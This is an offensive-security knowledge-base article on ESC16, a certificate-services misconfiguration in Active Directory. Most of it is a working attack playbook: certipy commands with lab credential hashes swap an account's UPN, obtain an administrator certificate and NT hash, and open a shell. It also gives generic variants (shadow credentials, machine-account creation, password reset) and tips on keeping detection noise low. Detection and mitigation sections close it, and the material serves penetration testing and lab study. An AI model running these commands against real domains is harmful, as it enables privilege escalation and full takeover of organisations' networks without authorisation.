esc16-security-extension-disabled-on-ca-globally.md (27288B)
1 --- 2 title: "ESC16 — Security Extension Disabled on CA (Globally)" 3 description: "ESC16 was introduced with Certipy v5 by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs"] 7 tools: ["Certipy", "BloodHound", "Evil-WinRM", "faketime", "Certify"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC16 — Security Extension Disabled on CA (Globally).md" 11 --- 12 # ESC16 — Security Extension Disabled on CA (Globally) 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | CA-Level Configuration Abuse | 19 | **Difficulty** | Medium | 20 | **Pre-requisites** | `szOID_NTDS_CA_SECURITY_EXT` in CA `DisableExtensionList` + GenericWrite on enrollable account | 21 | **Tools** | Certipy v5+, BloodHound | 22 | **OPSEC Noise** | Medium — UPN swap generates 4738 events | 23 | **One-liner** | CA globally disables SID security extension → KDC falls back to UPN matching → swap controlled account's UPN to `administrator` → request cert → authenticate as admin. | 24 25 *** 26 27 ESC16 was introduced with **Certipy v5** by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been configured to globally disable the `szOID_NTDS_CA_SECURITY_EXT` extension (`1.3.6.1.4.1.311.25.2`) — also known as the **SID security extension**. This extension was Microsoft's patch response to Certifried (CVE-2022-26923) — it embeds the requester's `objectSid` into every issued certificate, allowing the KDC to perform strong certificate binding and verify that the certificate identity matches the AD object. 28 29 When this extension is **disabled at the CA level**, every single certificate issued by that CA lacks the SID binding — making the KDC fall back to **UPN-based authentication** for all certificates. This means the KDC trusts whatever UPN is embedded in the cert without verifying the objectSid — and since you can temporarily swap a controlled account's UPN to `administrator`, you can get a legitimately CA-signed certificate that the DC accepts as proof you are Administrator. 30 31 This is effectively **ESC6's post-patch bypass** — it achieves the same outcome through a different mechanism. 32 33 *** 34 35 ## The Core Mechanism 36 37 The CA stores disabled extensions in a registry key: 38 39 ``` 40 HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\ 41 CertificateAuthority_MicrosoftDefault.Policy 42 DisableExtensionList = 1.3.6.1.4.1.311.25.2 43 ``` 44 45 When `szOID_NTDS_CA_SECURITY_EXT` is in this list, **no certificate issued by this CA will ever contain a SID extension** — regardless of template configuration, regardless of StrongCertificateBindingEnforcement settings on the KDC. The SID extension simply never gets embedded at issuance time. 46 47 *** 48 49 ## Required Conditions 50 51 | Condition | Where to Check | 52 |-----------|----------------| 53 | `szOID_NTDS_CA_SECURITY_EXT` in CA's `DisableExtensionList` | CA output: `Security Extension: Disabled` | 54 | You have **`GenericWrite` or `WriteProperty`** over at least one domain account | BloodHound ACE edges / certipy output | 55 | That account can **enroll** in a Client Auth template | Template `Enrollment Rights` includes the account or its group | 56 | `Request Disposition: Issue` | CA config | 57 58 > 💡 The `GenericWrite` account does **not** need to be privileged. On Fluffy, you had `GenericWrite` over `ca_svc` — a service account, not an admin. That was enough. 59 60 *** 61 62 ## Step 0 — Enumeration 63 64 ```bash 65 # Standard scan 66 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 67 -dc-ip $TARGET -vulnerable -stdout 68 69 # With hash (PtH) — format is -hashes :NTHASH (leading colon = empty LM) 70 certipy-ad find -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ 71 -dc-ip $TARGET -vulnerable -stdout 72 ``` 73 74 > [!bug] `cannot import name 'asn1' from 'cryptography.hazmat'` 75 > This is **not** a command error — Certipy v5 needs a newer `cryptography` than the stale one in `~/.local`. Certipy runs but every operation dies on import. Fix by reinstalling Certipy in an isolated environment so it pulls its own dependency set: 76 > ```bash 77 > pipx install certipy-ad # or: uv tool install certipy-ad 78 > ``` 79 > If you must keep the system install, upgrade the shadowing library: `pip install --user --upgrade 'cryptography>=44' asn1crypto`. Confirm with `certipy-ad version`. 80 81 ### What Vulnerable ESC16 Output Looks Like 82 83 ``` 84 Certificate Authorities 85 0 86 CA Name : fluffy-DC01-CA 87 DNS Name : DC01.fluffy.htb 88 Web Enrollment 89 HTTP Enabled : False ← ESC8 not available 90 HTTPS Enabled : False 91 User Specified SAN : Disabled ← ESC6 not available 92 Request Disposition : Issue 93 Enforce Encryption for Requests : Enabled ← ESC11 not available 94 95 [!] Vulnerabilities 96 ESC16 : Security extension is disabled. 97 ``` 98 99 > 💡 This is **exactly what Fluffy showed** — ESC8, ESC6 and ESC11 all closed off, but ESC16 present. The CA had the SID extension globally disabled. 100 101 > [!note] The real tell is `Disabled Extensions`, and an empty template list is normal 102 > Depending on version, Certipy may not print a tidy `ESC16 : Security extension is disabled` line. The definitive indicator is on the CA object: 103 > ``` 104 > Disabled Extensions : 1.3.6.1.4.1.311.25.2 105 > ``` 106 > `1.3.6.1.4.1.311.25.2` **is** `szOID_NTDS_CA_SECURITY_EXT`. If it appears in `Disabled Extensions`, the CA is ESC16-vulnerable — full stop. 107 > 108 > Running with `-vulnerable` and seeing `Certificate Templates : [!] Could not find any certificate templates` is **expected, not a failure**. `-vulnerable` filters to *template-level* findings (ESC1/2/3/4/9/13/15…); ESC16 is a **CA-wide** flaw, so it shows under the CA config while the filtered template list is empty. To choose a template to enrol in, re-run **without** `-vulnerable` and pick one with a Client Authentication / Smart Card Logon / PKINIT EKU (e.g. `User`). 109 > 110 > Harmless noise in the same run: `Failed to connect to remote registry ... Trying again` (RRP starts the service and retries) and `Error checking web enrollment: timed out` (Web Enrollment is `Enabled: False` — only relevant to ESC8). 111 112 > [!warning] The `ESC16` verdict only prints if you authenticate as an account that can **enroll** 113 > This is the #1 reason people see `Disabled Extensions : 1.3.6.1.4.1.311.25.2` but **no** `[!] Vulnerabilities → ESC16` line. Certipy gates the verdict (`find.py`): 114 > ```python 115 > if disabled_extensions and will_issue and user_can_enroll: # ← user_can_enroll 116 > vulnerabilities["ESC16"] = "Security Extension is disabled." 117 > ``` 118 > `user_can_enroll` means *the account in `-u`* holds the **Enroll** right on the CA. On Fluffy the CA grants `Enroll` to `Cert Publishers` (and `Administrators`) — and **`ca_svc` is in Cert Publishers, `winrm_svc` is not.** 119 > ```bash 120 > # As winrm_svc → Disabled Extensions shown, but NO ESC16 line (winrm_svc can't enroll) 121 > certipy-ad find -u winrm_svc@fluffy.htb -hashes :33bd... -dc-ip $DC -vulnerable -stdout 122 > 123 > # As ca_svc → ESC16 verdict prints (ca_svc enrolls via Cert Publishers) 124 > certipy-ad find -u ca_svc@fluffy.htb -hashes :ca0f... -dc-ip $DC -vulnerable -stdout 125 > ``` 126 > Enumerate ESC16 as the **enroller**, not the writer. Either way `Disabled Extensions : 1.3.6.1.4.1.311.25.2` alone already proves the CA is vulnerable — the verdict line is just certipy confirming *you* can reach it. 127 128 *** 129 130 ## Full Attack Chain — Linux (Certipy v5.1.0) 131 132 The attack is a **4-step chain**: read + hijack the UPN → request the cert as the controlled account → restore the UPN → authenticate. Commands below use the real Fluffy values (`winrm_svc` hash `33bd09...`, `ca_svc` hash `ca0f4f...`). 133 134 > [!warning] `account` actions are `create` / `read` / `update` / `delete` 135 > There is **no `lookup` action**. Use `read` to view an account and `update` to change it. The action is a positional argument at the **end** of the command, and `-user <SAM>` is required. 136 137 > [!note] Why two different accounts? (This is not overcomplication) 138 > The chain uses **two accounts for two distinct jobs**, and on Fluffy you cannot merge them: 139 > - **The *writer* (`winrm_svc`)** — the account that can write the target's `userPrincipalName`. On Fluffy this right is **not held by winrm_svc directly** — it belongs to the **`Service Accounts` group**, which has `GenericWrite` over `ca_svc`. `winrm_svc` is a *member* of that group, so it inherits the write. It runs every `account read`/`update` command (authenticated as `-u winrm_svc`, targeting `-user ca_svc`). 140 > - **The *enroller* (`ca_svc`)** — the account with enrollment rights on the CA (here via Cert Publishers). It runs the `req` command (authenticated as `-u ca_svc`), because its UPN is the one you hijacked. 141 > 142 > **Why the ca_svc hash alone is not enough:** having `ca_svc`'s hash lets you *authenticate as* ca_svc, but ca_svc is **not** a member of `Service Accounts` — it is the *target* of that group's `GenericWrite`, so it cannot rename itself. An account cannot rewrite its own UPN unless it explicitly holds that right. The rename right lives on the group; your way into the group is `winrm_svc`. Hash = who you are; the ACE = what you may do. 143 > 144 > **When one account is enough:** if a single account can *both* enroll *and* have its UPN written by you (e.g. a computer account you created via MAQ — see Scenario 3 — or any account you have `GenericWrite` over that also enrolls), use it for every step and the `-u` is identical throughout. Fluffy needs two only because ca_svc holds the enrollment right while a *different* principal (the Service Accounts group, reachable via winrm_svc) holds the write over ca_svc. 145 > 146 > **Do you even need the `read` step?** No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (`ca_svc@fluffy.htb`), skip straight to the `update`. The **restore in Step 3 is not optional**, though: `certipy auth` fails with `KDC_ERR_CLIENT_NAME_MISMATCH` until the controlled account stops squatting the victim's UPN (see Step 3). The `.pfx` stays valid regardless; the *auth* does not work until you restore. 147 148 *** 149 150 ### Step 1 — Read, then hijack ca_svc's UPN 151 152 You need write over the controlled account's `userPrincipalName` (here `winrm_svc` can write `ca_svc` **because the `Service Accounts` group holds `GenericWrite` over `ca_svc` and `winrm_svc` is a member** — ca_svc itself is not, so it cannot rename itself), and `ca_svc` must be able to enrol in a Client Auth template (e.g. `User`). 153 154 ```bash 155 # Read the current UPN first so you can restore it exactly 156 certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ 157 -dc-ip $TARGET -user ca_svc read 158 ``` 159 160 ```bash 161 # Set ca_svc's UPN to the target identity 162 certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ 163 -dc-ip $TARGET -user ca_svc -upn administrator update 164 ``` 165 166 > [!warning] Do Step 2 immediately, and always restore in Step 3 before Step 4 167 > The UPN swap is a live AD change. Request the cert right away, then **restore in Step 3 before you authenticate** — the restore is mandatory, not just hygiene (Step 4 fails with a name mismatch otherwise), and it also avoids breaking `ca_svc` auth and shrinks the detection window. 168 169 *** 170 171 ### Step 2 — Request a certificate as ca_svc 172 173 Enrol as `ca_svc` (whose UPN is now `administrator`) in a Client Auth template. Because the CA strips the SID extension (ESC16), the issued cert maps by UPN, so it authenticates as Administrator. 174 175 ```bash 176 certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \ 177 -dc-ip $TARGET -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User 178 # → Got certificate with UPN 'administrator' ; saved administrator.pfx 179 ``` 180 181 *** 182 183 ### Step 3 — Restore the UPN — REQUIRED before you authenticate 184 185 ```bash 186 certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \ 187 -dc-ip $TARGET -user ca_svc -upn ca_svc@fluffy.htb update 188 ``` 189 190 > [!danger] This is not just cleanup — Step 4 FAILS without it 191 > While `ca_svc` still holds `userPrincipalName = administrator`, the cert's UPN `administrator` maps **to ca_svc**, not to the real Administrator (ESC16 certs carry no SID, so the KDC maps purely by name — and your account is squatting that name). Authenticating then dies with: 192 > ``` 193 > [-] Name mismatch between certificate and user 'administrator' 194 > ``` 195 > which is the KDC returning `KDC_ERR_CLIENT_NAME_MISMATCH`. **Restore the UPN first**, so nothing else claims `administrator`; the KDC then falls back to the built-in Administrator's `sAMAccountName` and the auth maps correctly. The `.pfx` itself never expires from this — restoring does **not** invalidate it (identity is locked in at signing) — but the *authentication* will keep failing until you restore. Order is fixed: swap → req → **restore** → auth. 196 197 *** 198 199 ### Step 4 — Authenticate with the cert for the admin NT hash 200 201 ```bash 202 certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb 203 # → Got hash for 'administrator@fluffy.htb': aad3b435...:8da83a3fa618b6e3a00e93f676c92a6e 204 ``` 205 206 > [!warning] Clock skew (Fluffy) 207 > `certipy auth` uses PKINIT and does **not** self-correct skew. If it throws `KRB_AP_ERR_SKEW`, prefix `faketime` (see faketime-cheatsheet) or sync your clock: `sudo rdate -n $TARGET`. 208 > ```bash 209 > faketime -f '+7h' certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb 210 > ``` 211 212 *** 213 214 ### Step 5 — Shell 215 216 **Preferred — pass-the-hash over WinRM (no DCOM, no Kerberos):** 217 ```bash 218 evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e 219 ``` 220 221 **Kerberos wmiexec — only if RPC/DCOM is reachable:** 222 ```bash 223 export KRB5CCNAME=administrator.ccache 224 wmiexec.py -k -no-pass DC01.fluffy.htb 225 ``` 226 227 > [!warning] `wmiexec` needs DCOM (port 135 + a dynamic high RPC port) — often filtered on a DC 228 > On Fluffy, `135` is filtered while `445` and `5985` are open, so `wmiexec.py` negotiates SMB then dies with `Could not connect: timed out` on the DCOM leg. That is a **port/firewall** problem, not a bad ticket. Use a method that fits the open ports: 229 > - **WinRM 5985** → `evil-winrm` (above) — cleanest with the NT hash. 230 > - **SMB 445** → `psexec.py` / `atexec.py` / `smbexec.py`, e.g. `psexec.py -hashes :8da83a3fa618b6e3a00e93f676c92a6e administrator@$TARGET`. 231 > 232 > **Pass-the-hash (NTLM) also sidesteps clock skew.** Any `-k`/Kerberos tool fails with `KRB_AP_ERR_SKEW` if your clock is >5 min off the DC — sync first (`sudo ntpdate -u $TARGET` or `sudo rdate -n $TARGET`) or prefix `faketime`. The `-H <hash>` methods above use NTLM and don't care about the clock. 233 234 *** 235 236 ## Generic Exploitation — Every Way to Do It 237 238 Fluffy is only one shape of ESC16. Strip it to the essentials: you need an account you can **(1) authenticate as so it can enroll**, and whose **(2) `userPrincipalName` you can set to a victim**. Solve those two sub-problems independently and *any* combination works. The pattern is always **write the UPN → enroll → restore → auth**; only *how you obtain the account* and *who writes the UPN* changes. 239 240 ### The two sub-problems 241 242 **(1) An enroll-capable account you can authenticate as.** Any account with enrollment rights on a Client-Auth template — the default `User` template lets all Domain Users enroll. You obtain one by: 243 244 | Method | Requirement | Result | 245 |---|---|---| 246 | Already have creds | you hold its password / NT hash | ready to enroll (Fluffy: `ca_svc`) | 247 | **Shadow Credentials** | `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over it | PKINIT → its NT hash | 248 | **Password reset** | `ForceChangePassword`/`GenericAll` over it | set a password you know | 249 | **Create one** | `ms-DS-MachineAccountQuota > 0` (default 10) | a computer account you fully own | 250 251 **(2) Write access to that account's `userPrincipalName`:** 252 253 | Method | Requirement | 254 |---|---| 255 | Direct ACL | `GenericWrite` / `GenericAll` / `WriteProperty(userPrincipalName)` over the account | 256 | Ownership | you created the account (MAQ) → you own every attribute | 257 | Separate writer | a *different* principal holds the write edge (Fluffy: `winrm_svc → ca_svc`) | 258 259 If one account satisfies both, it is a **one-account** attack. If the write comes from a different principal, it is **two**. Nothing else changes. 260 261 ### Scenario matrix 262 263 | # | What you hold | Enroll as | Who writes the UPN | Accounts | 264 |---|---|---|---|---| 265 | 1 | `GenericAll`/`GenericWrite` over target `T` (no creds yet) | `T` after Shadow Creds | you (over `T`) | one | 266 | 2 | Creds for `E` **+** separate writer `W` with `GenericWrite`→`E` | `E` | `W` | two (Fluffy) | 267 | 3 | `MachineAccountQuota > 0` | new `EVILPC$` | you (own it) | one (created) | 268 | 4 | `GenericAll`/`ForceChangePassword` over user `T` | `T` after pw reset | you (over `T`) | one | 269 270 *** 271 272 ### Scenario 1 — One account you have GenericWrite/GenericAll over (no creds yet) 273 274 A single control primitive does the whole chain: shadow-cred it for a hash, then swap its UPN and enroll as it. 275 276 ```bash 277 # 0. Confirm ESC16 278 certipy-ad find -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -vulnerable -stdout 279 280 # 1. Recover the target's hash via Shadow Credentials 281 certipy-ad shadow auto -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -dc-host dc01.domain.htb -account target_svc 282 # → NT hash for target_svc 283 284 # 2. Hijack its UPN to the victim 285 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn administrator update 286 287 # 3. Enroll AS the target (its UPN is now administrator) 288 certipy-ad req -u target_svc -hashes :<target_hash> -dc-ip $DC -target dc01.domain.htb -ca 'DOMAIN-CA' -template User 289 290 # 4. Restore the UPN, then authenticate with the cert 291 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn 'target_svc@domain.htb' update 292 certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC 293 ``` 294 295 ### Scenario 2 — Two accounts (the Fluffy shape) 296 297 Writer ≠ enroller — you hold creds for both. Generic form of the full chain above: 298 299 ```bash 300 certipy-ad account -u writer@domain.htb -hashes :<writer_hash> -dc-ip $DC -user enroller -upn administrator update 301 certipy-ad req -u enroller -hashes :<enroller_hash> -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User 302 certipy-ad account -u writer@domain.htb -hashes :<writer_hash> -dc-ip $DC -user enroller -upn 'enroller@domain.htb' update 303 certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC 304 ``` 305 306 ### Scenario 3 — MachineAccountQuota (bring your own account) 307 308 No pre-existing writable account required if you can add machines. You own what you create, so you control its UPN outright. 309 310 ```bash 311 # 1. Create a computer account you fully control 312 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -pass 'Passw0rd!' create 313 # (equivalents: addcomputer.py -computer-name EVILPC$ ... / Powermad New-MachineAccount) 314 315 # 2. Set its UPN to the victim 316 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn administrator update 317 318 # 3. Enroll as EVILPC$ in a template it can enroll in 319 certipy-ad req -u 'EVILPC$' -p 'Passw0rd!' -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User 320 321 # 4. Clear EVILPC$'s UPN BEFORE auth (else the cert maps back to EVILPC$, not the victim) 322 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn 'EVILPC$@domain.htb' update 323 # (or just delete the machine: certipy-ad account ... -user 'EVILPC$' delete) 324 325 # 5. Auth 326 certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC 327 ``` 328 329 > Computer accounts have **no UPN by default** — setting one is exactly the ESC16 lever. Enroll in a template whose enrollment scope includes computers (or `Domain Computers`), or one that emits the UPN. 330 331 ### Scenario 4 — ForceChangePassword / GenericAll over a user 332 333 ```bash 334 # 1. Reset the target's password (any of these, per the right you hold) 335 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_user -pass 'NewPass123!' update 336 # equivalents: net rpc password / bloodyAD set password / pth changepasswd 337 # 2-4. Continue exactly as Scenario 1 from the UPN swap, authenticating as target_user with the new password. 338 ``` 339 340 *** 341 342 ### Choosing the victim and the template 343 344 - **Victim** is any privileged identity, not just `administrator` — any Domain Admin or DA-equivalent works. Use the **bare `sAMAccountName`** as the UPN value (e.g. `administrator`, not `administrator@domain.htb`) so it matches the victim's *implicit* UPN. This only works if the victim has **no explicit `userPrincipalName`** already set (the built-in Administrator usually does not); if it does, set your controlled account's UPN to that exact string instead. 345 - **Template** must carry a **Client Authentication**, **Smart Card Logon**, or **PKINIT** EKU and permit your enroll account to enroll. Default `User` (for users) and `Machine` (for computers) normally qualify. Machine/computer certificates map by **DNS**, so when enrolling with a computer account for a UPN-based ESC16, prefer a user-style template or one that emits the UPN. 346 - **Any CA on the domain with ESC16 set** is usable — you are not tied to the CA that issued other certs. `certipy find -vulnerable` lists every affected CA; pass the right `-ca` / `-target`. 347 348 ### Windows tooling (Certify + Rubeus) 349 350 ```text 351 # Enumerate 352 Certify.exe find /vulnerable 353 354 # Swap the UPN with native tooling, then request: 355 Set-ADUser target_svc -UserPrincipalName administrator # or PowerView Set-DomainObject 356 Certify.exe request /ca:CA-HOST\CA-NAME /template:User # run as target_svc 357 Set-ADUser target_svc -UserPrincipalName target_svc@domain.htb # restore 358 359 # Convert + authenticate 360 Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-pw> /ptt 361 ``` 362 363 *** 364 365 ## ESC16 Visual Attack Flow (Fluffy-style) 366 367 ``` 368 [winrm_svc ∈ Service Accounts group ─ group has GenericWrite over ca_svc] 369 │ (ca_svc cannot rename itself; winrm_svc inherits the write via the group) 370 │ certipy account -u winrm_svc -user ca_svc -upn administrator update 371 ▼ 372 [ca_svc.userPrincipalName = "administrator"] ← Temporary 373 │ 374 │ certipy req -u ca_svc -template User 375 │ CA issues cert — reads UPN = "administrator" 376 │ No SID extension embedded (ESC16) 377 ▼ 378 [administrator.pfx] ← Signed by CA with UPN = administrator 379 │ 380 │ certipy account -user ca_svc -upn ca_svc@fluffy.htb update 381 ▼ 382 [UPN restored] ← REQUIRED before auth (else cert maps back to ca_svc); .pfx still valid forever 383 │ 384 │ certipy auth -pfx administrator.pfx 385 ▼ 386 [TGT + NT Hash for Administrator] 387 │ 388 ▼ 389 [DOMAIN OWNED] 390 ``` 391 392 *** 393 394 ## ESC16 vs ESC9 — The Relationship 395 396 ESC16 is the CA-level version of ESC9. The difference: 397 398 | | ESC9 | ESC16 | 399 |---|---|---| 400 | **Where flag is set** | Per-template: `CT_FLAG_NO_SECURITY_EXTENSION` | **CA-wide: `DisableExtensionList`** | 401 | **Templates affected** | Only templates with the flag | **Every template on that CA** | 402 | **Certipy detects as** | ESC9 on specific template | ESC16 on CA object | 403 | **Attack chain** | UPN swap → req → restore | UPN swap → req → restore (identical) | 404 | **Introduced** | SpecterOps 2021 | **Oliver Lyak, Certipy v5, 2024** | 405 406 *** 407 408 ## ESC16 vs ESC6 — Post-Patch Equivalence 409 410 | | ESC6 | ESC16 | 411 |---|---|---| 412 | **Mechanism** | CA accepts user-specified SAN at enrollment | CA doesn't embed SID — KDC falls back to UPN matching | 413 | **Post-KB5014754** | Blocked if `StrongCertificateBindingEnforcement = 2` | ✅ **Still works** — SID is never in cert so enforcement is bypassed at source | 414 | **Requires UPN swap** | ❌ — inject SAN directly | ✅ — must temporarily swap UPN | 415 | **Modern relevance** | Largely historical | ✅ **Current and dangerous** | 416 417 *** 418 419 ## Detection Indicators 420 421 - **Event ID 4738** — User account changed — specifically watch for `userPrincipalName` attribute being modified on service or machine accounts 422 - **Rapid pair of 4738 events** — UPN changed then immediately changed back within seconds is the ESC16 fingerprint 423 - **Event ID 4887** — Certificate issued where the UPN in the cert differs from the account's permanent UPN in AD 424 - **CA registry audit** — Alert on any modification to the `DisableExtensionList` registry value 425 - **BloodHound** — `GenericWrite` edges from low-priv principals to accounts with enrollment rights are the pre-condition indicator 426 427 *** 428 429 ## Mitigation 430 431 - **Remove `szOID_NTDS_CA_SECURITY_EXT` from `DisableExtensionList`** — this is the direct fix; the SID extension must be re-enabled: 432 ```powershell 433 # On the CA server 434 certutil -setreg CA\DisableExtensionList - 435 net stop certsvc && net start certsvc 436 ``` 437 - **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — enforces SID validation on cert auth 438 - **Audit `GenericWrite` ACEs** — Any low-priv principal with `GenericWrite` over an account that can enroll in auth templates is a pre-condition for ESC16 439 - **Monitor UPN changes** on accounts that hold enrollment rights — UPN modifications are rare and should always alert 440 - **Re-issue all certificates** after enabling the SID extension — existing certs without objectSid remain exploitable until they expire 441 442 *** 443 444 ## OPSEC Considerations 445 446 | Action | Event Generated | Noise Level | 447 |--------|----------------|-------------| 448 | UPN swap on controlled account | Event ID 4738 (User Account Changed) | 🟡 Medium | 449 | Certificate request | Event ID 4887 on CA | 🟢 Low | 450 | UPN restore | Event ID 4738 (second occurrence) | 🟡 Medium | 451 | PKINIT authentication | Event ID 4768 (TGT request) | 🟢 Low | 452 453 > ⚠️ The **rapid pair of 4738 events** (UPN changed → UPN restored within seconds) is the primary detection fingerprint. Minimize the time between Steps 3–5. The certificate request itself is low-noise since it goes through a legitimate template. 454 455 *** 456 457 ## References 458 459 - [ESC16 — SpecterOps GhostPack Docs](https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc16-security-extension-disabled-on-certificate-authority) 460 - [Certipy v5 Release & ESC16 — Oliver Lyak](https://github.com/ly4k/Certipy/discussions/270) 461 - [ADCS ESC16 — Hacking Articles](https://www.hackingarticles.in/adcs-esc16-security-extension-disabled-on-ca-globally/) 462 - [Certipy Privilege Escalation Wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation) 463 - [Active Directory Certificate ESC Attacks — InternalAllTheThings](/internal/active-directory/ad-adcs-esc) 464 - [Fortifying ADCS Against Exploitation — NCC Group](https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/)